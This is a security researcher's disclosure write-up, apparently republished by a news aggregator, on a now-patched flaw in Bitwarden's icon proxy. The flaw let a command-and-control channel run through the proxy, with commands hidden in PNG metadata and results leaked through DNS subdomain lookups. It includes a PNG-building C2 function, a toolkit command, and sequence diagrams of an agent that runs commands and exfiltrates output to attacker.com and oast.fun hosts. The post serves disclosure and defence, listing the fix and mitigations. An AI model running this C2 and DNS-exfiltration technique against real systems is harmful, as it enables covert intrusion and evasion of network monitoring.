cd /news/ai-safety/bitwarden-icons-bidirectional-c2-cha… Β· home β€Ί topics β€Ί ai-safety β€Ί article
[ARTICLE Β· art-38409] src=thecontractor.io β†— pub= topic=ai-safety verified=true sentiment=↓ negative

Bitwarden icons bidirectional C2 channel

A researcher built a bidirectional command-and-control channel using Bitwarden's icon proxy, embedding commands in PNG metadata and exfiltrating data via DNS to trusted Azure infrastructure. The attack exploits a confused deputy vulnerability (CWE-441) where the proxy fetches arbitrary hostnames without validation, enabling stealthy C2 without direct attacker contact. Bitwarden has since patched the issue in PR #7668.

read9 min views1 publishedJun 24, 2026
Bitwarden icons bidirectional C2 channel
Image: source

Visualize the journey, is there anything else out there you can C2 ?

I built a bidirectional C2 channel through Bitwarden's icon proxy. Commands go in via PNG metadata, results come out via DNS, and every byte of traffic goes to icons.bitwarden.net

β€” a legitimate domain on Azure. The agent never touches the attacker's infrastructure directly.

This is a data-bouncing application and a textbook confused deputy (CWE-441).

What's happening #

Bitwarden fetches website favicons to display next to vault entries. The icon proxy at icons.bitwarden.net

takes a full hostname β€” subdomains and all β€” and proxies the request without stripping or validating any of it.

// libs/common/src/vault/icon/build-cipher-icon.ts:78
image = `${iconsServerUrl}/${Utils.getHostname(hostnameUri)}/icon.png`;

That gives you two channels:

Commands in β€” my server embeds JSON commands in PNG tEXt

metadata chunks. The icon proxy fetches the PNG and passes it through byte-identical, metadata intact. The agent fetches from icons.bitwarden.net

, never touching my server.

Data out β€” results get hex-encoded into DNS subdomain labels. When the proxy does its DNS lookup for {hex-data}.attacker.com

, my authoritative DNS server receives the encoded data. The lookup comes from Bitwarden's Azure IPs, not the target.

Put them together and you've got full bidirectional C2 through trusted infrastructure. No authentication required. No Bitwarden account needed. The endpoint is public.

The moving parts #

C2 server

A small HTTP server that generates valid PNGs with commands in tEXt

chunks:

def make_c2_png(command: str) -> bytes:
    c2_data = json.dumps({"cmd": command, "ts": int(time.time())}).encode()
    text_chunk = make_png_chunk(b"tEXt", b"Comment\x00" + c2_data)
    return png_sig + ihdr + text_chunk + idat + iend

Bitwarden's proxy fetches /icon.png

from my server, gets a valid image. The metadata rides along.

Agent

The agent only ever talks to icons.bitwarden.net

:

Agent β†’ HTTPS β†’ icons.bitwarden.net β†’ proxy fetch β†’ attacker server
Agent ← HTTPS ← icons.bitwarden.net ← PNG + metadata ← attacker server

It parses the tEXt

chunk, extracts the command, runs it, and exfiltrates the result:

Agent β†’ HTTPS β†’ icons.bitwarden.net/{hex-encoded-result}.oast.fun/icon.png
                    ↓ DNS lookup
           oast.fun authoritative DNS gets the encoded data
           from Bitwarden Azure IPs (20.42.70.x, 20.115.49.x, etc.)

Cache busting

Each poll uses a unique subdomain prefix ({random}-{session}.{server}

), forcing the proxy to make a fresh fetch. But here's the thing β€” existing command PNGs also get cached on Bitwarden's CDN for 7 days. The infrastructure serves your malware for you.

Metadata passthrough

The proxy passes PNG metadata through unmodified. I verified this with a polyglot PNG containing commands in all three text chunk types (tEXt

, iTXt

, zTXt

). The SHA256 of the PNG fetched through the proxy matched the original byte-for-byte:

0eca960915eb7ad1c6c6c972e38cb1c734f33b51279af2859bb16dcec7c9bfab

Polyglot favicons

The endpoint serves /icon.png, but the proxy doesn't enforce image format or validate content beyond a superficial fetch. At the time of testing, a polyglot file β€” valid PNG and valid ICO, or valid PNG and valid JavaScript β€” would pass through intact. The proxy returned whatever bytes the upstream server provided.

The toolkit (icon_c2.py) demonstrates this with --mode polyglot, embedding the same payload across tEXt, iTXt, and zTXt simultaneously:

python3 icon_c2.py embed --payload '{"cmd":"whoami"}' --mode polyglot -o cmd.png --verify

Bitwarden's fix (PR #7668) (https://github.com/bitwarden/server/pull/7668) does address PNG polyglots fairly well β€” it reconstructs the file from allowed chunks only, breaks at IEND, and fails closed on malformed input. A PNG/JS polyglot with payload after IEND gets truncated. The metadata chunks are gone.

*not sure about jpeg/BMP

The demo #

I ran this end-to-end against a Windows 11 target. Four stages:

Verifyβ€” C2 server haswhoami

queued in PNG metadataProxyβ€” same command passes throughicons.bitwarden.net

intactExecuteβ€” agent on Windows fetches from the proxy, runs the command, exfiltratesrengy\agent

via DNSUpdateβ€” change command toipconfig /all | findstr IPv4

, agent picks it up, exfiltrates the target's IPv4 address

The OAST server logged 903 DNS interactions from 115 unique Azure IPs during the demo session alone. Decoded callbacks:

Tag Decoded Output
beacon
`BEACON final
r-final
rengy\agent
r-final2
IPv4 Address. . . : 100.78.11.60(Preferred)

All 115 source IPs resolved to Microsoft Azure. Bitwarden's icon proxy infrastructure doing the work for me.

It doesn't touch the wallet #

This doesn't compromise vault data. Your passwords are fine. What it does is turn Bitwarden's infrastructure into an unwitting C2 relay, and that matters for a couple of reasons.

SoC evasion

Every security operations centre on the planet whitelists bitwarden.net

. Trusted domain. Azure. HTTPS. The request pattern looks like normal favicon fetching. A threat analyst looking at network logs sees connections to a password manager's CDN - nice.

That's the real impact. The icon proxy becomes a trusted channel that bypasses network monitoring, threat detection, and egress filtering. If you've got a foothold on a network you can maintain persistent C2 through infrastructure that defenders actively trust. That should bother people.

Consumer confidence

When your infrastructure can be shown to relay arbitrary commands between an attacker and a target - even if your core product isn't directly affected - it raises questions. People trust Bitwarden with their most sensitive credentials. That trust extends to an assumption that the infrastructure isn't being co-opted as attack infrastructure.

The icon proxy is public and unauthenticated. No Bitwarden account required. Any process on any network can use it. The barrier to exploitation is effectively zero.

Disclosure #

Reported through Bitwarden's security team, who sent me to the HackerOne programme. The submission included the full C2 toolkit, the asciinema recording, three OAST exports totalling nearly 2,000 DNS interactions from Azure IPs, cached command PNGs verifiable on their CDN, and the vulnerable source line.

The fix

Bitwarden merged PR #7668 (https://github.com/bitwarden/server/pull/7668) on 2 June 2026, titled "Bidirectional C2 in icons.bitwarden.net". The fix strips PNG metadata by walking the chunk list and only keeping rendering-essential chunks (IHDR, PLTE, IDAT, IEND, tRNS, sRGB, gAMA, cHRM). Everything else β€” tEXt, iTXt, zTXt β€” dropped. Same stripping applied to PNG frames embedded inside ICO files. SVG support removed from the proxy entirely, I'm also seeing some heavy defences in fastly (formerly the excellent signal science WAF).

The PNG chunk walker is solid β€” it reconstructs the file from allowed chunks only, breaks at IEND, fails closed on malformed input. PNG polyglots with post-IEND payloads get truncated. The tEXt/iTXt/zTXt command channel is closed for PNG.

Are there other images ? BMP, JPEG perhaps ?

Anyway, my findings are now addressed in https://github.com/bitwarden/server/releases/tag/v2026.6.1

Data bouncing #

If you've read my earlier post on data-bouncing, this is that technique applied to a specific target. The icon proxy is a textbook confused deputy β€” it acts with its own authority (Azure infrastructure, trusted TLS cert, CDN caching) on behalf of an unauthenticated requester.

The inbound channel (PNG metadata) and outbound channel (DNS subdomains) are both standard protocol features, not exploits in themselves. The vulnerability is in combining them through an unrestricted proxy on trusted infrastructure.

Source code #

The full toolkit is published alongside this post, just to help you with the concept and the principle of indirect exfiltration and abuse of architecture in these ways:

** c2_server.py** β€” HTTP server that embeds JSON commands in PNG

tEXt

metadata. Dynamic command updates via base64-encoded GET requests.** c2_agent.py** β€” Agent that polls

icons.bitwarden.net

for commands, executes them, exfiltrates results via hex-encoded DNS subdomains. All traffic goes to the icon proxy.** icon_c2.py** β€” All-in-one toolkit: PNG embedding (text, EXIF, polyglot), DNS exfiltration, proxy fetch testing, OAST data decoding.

Recommendations #

For anyone running a similar proxy:

Strip subdomainsβ€” only use the registrable domain (eTLD+1) for icon requests** Re-encode images server-side**β€” decode pixel data, re-encode a clean PNG, discard everything else. A chunk-type allowlist doesn't protect against polyglots that carry payloads outside PNG structureCache by registrable domain, not full hostname β€” kills cache-busting via subdomain rotation** Rate limit unique hostnamesper session Block requests to private IP ranges**

Timeline #

Date Event
2026-04-21 Discovered and demonstrated end-to-end
2026-04-21 Reported via Securtiy team who sent me to HackerOne with full PoC and tooling
2026-05-18 First commit on

Attribution

100% low-balled on attribution. not a mention of my name in any of the fixes. or ... anything. so that's a first. Full bidirectional C2 demonstrated on production infrastructure, with tooling, evidence, and remediation guidance. A low-key fix, buried in a release. - kthnx (haha)

That's dissapointing.

Reward

No.

Inbound - Command Delivery

sequenceDiagram
    participant A as Agent(Target)
    participant P as icons.bitwarden.net(Azure Proxy)
    participant C as Attacker Server

    Note over A,P: All agent traffic goes toa trusted Bitwarden domain

    A->>P: HTTPS GET /{rand}-{session}.attacker.com/icon.png
    activate P
    P->>C: HTTP GET /icon.png
    activate C
    Note right of C: Generate PNG withcommand in tEXt chunk:{"cmd":"whoami"}
    C-->>P: 200 OK - valid PNG + tEXt metadata
    deactivate C
    Note over P: Passes PNG throughbyte-identical - nometadata stripping
    P-->>A: 200 OK - PNG (cached on CDN for 7 days)
    deactivate P
    Note left of A: Parse tEXt chunk ->extract JSON command ->execute

Outbound - Data Exfiltration via DNS

sequenceDiagram
    participant A as Agent(Target)
    participant P as icons.bitwarden.net(Azure Proxy)
    participant D as Attacker DNS(oast.fun)

    Note left of A: Command output:"rengy\agent"-> hex-encode ->72656e67795c6167656e74

    A->>P: HTTPS GET /72656e67795c6167656e74.oast.fun/icon.png
    activate P
    Note over P: Must resolve hostnamebefore proxying
    P->>D: DNS A? 72656e67795c6167656e74.oast.fun
    activate D
    Note right of D: Authoritative DNS receiveshex-encoded data assubdomain label
    D-->>P: NXDOMAIN / A record
    deactivate D
    Note over P: DNS lookup originated fromAzure IPs (20.42.70.x, etc.)- not from the target
    P-->>A: 502 / error (doesn't matter - data already exfiltrated)
    deactivate P

    Note right of D: Decode subdomain ->"rengy\agent"

Full Bidirectional C2 Loop

sequenceDiagram
    participant A as Agent
    participant P as icons.bitwarden.net
    participant C as C2 Server
    participant D as Attacker DNS

    Note over A,C: INBOUND - Command Delivery
    A->>P: GET /{cache-bust}.c2.attacker.com/icon.png
    P->>C: GET /icon.png
    C-->>P: PNG with tEXt: {"cmd":"whoami"}
    P-->>A: PNG (byte-identical)

    Note over A: Execute: whoami -> "rengy\agent"Hex-encode result

    Note over A,D: OUTBOUND - Data Exfiltration
    A->>P: GET /72656e67795c6167656e74.oast.fun/icon.png
    P->>D: DNS lookup: 72656e67795c6167656e74.oast.fun
    D-->>P: (response irrelevant)

    Note over D: Decode: "rengy\agent"

    Note over A,D: Agent <-> Proxy: trusted HTTPS to bitwarden.netProxy <-> Attacker: invisible to the targetNo direct agent <-> attacker connection

Trust Boundaries

flowchart LR
    subgraph target["Target Network"]
        agent["Agent"]
    end

    subgraph azure["Azure - Trusted Infrastructure"]
        proxy["icons.bitwarden.net(Icon Proxy)"]
        cdn["Bitwarden CDN(7-day cache)"]
    end

    subgraph attacker["Attacker Infrastructure"]
        c2["C2 Server(PNG + tEXt)"]
        dns["Authoritative DNS(oast.fun)"]
    end

    agent -- "HTTPS(trusted, whitelisted)" --> proxy
    proxy -- "HTTP fetch(server-side)" --> c2
    proxy -- "DNS lookup(from Azure IPs)" --> dns
    proxy -.-> cdn
    cdn -.-> |"serves cachedcommand PNGs"| proxy

    style target fill:#fff,stroke:#cc3333,color:#000
    style azure fill:#fff,stroke:#2266cc,color:#000
    style attacker fill:#fff,stroke:#cc3333,color:#000

SCRATCH

── more in #ai-safety 4 stories Β· sorted by recency
── more on @bitwarden 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain β€” perfect for shipping the agent you just read about.

$git push zahid main
β†’ Live at https://your-agent.zahid.host βœ“
Get free account β†’ Pricing
from €0/mo Β· no card required
LIVE [news/bitwarden-icons-bidi…] indexed:0 read:9min 2026-06-24 Β· β€”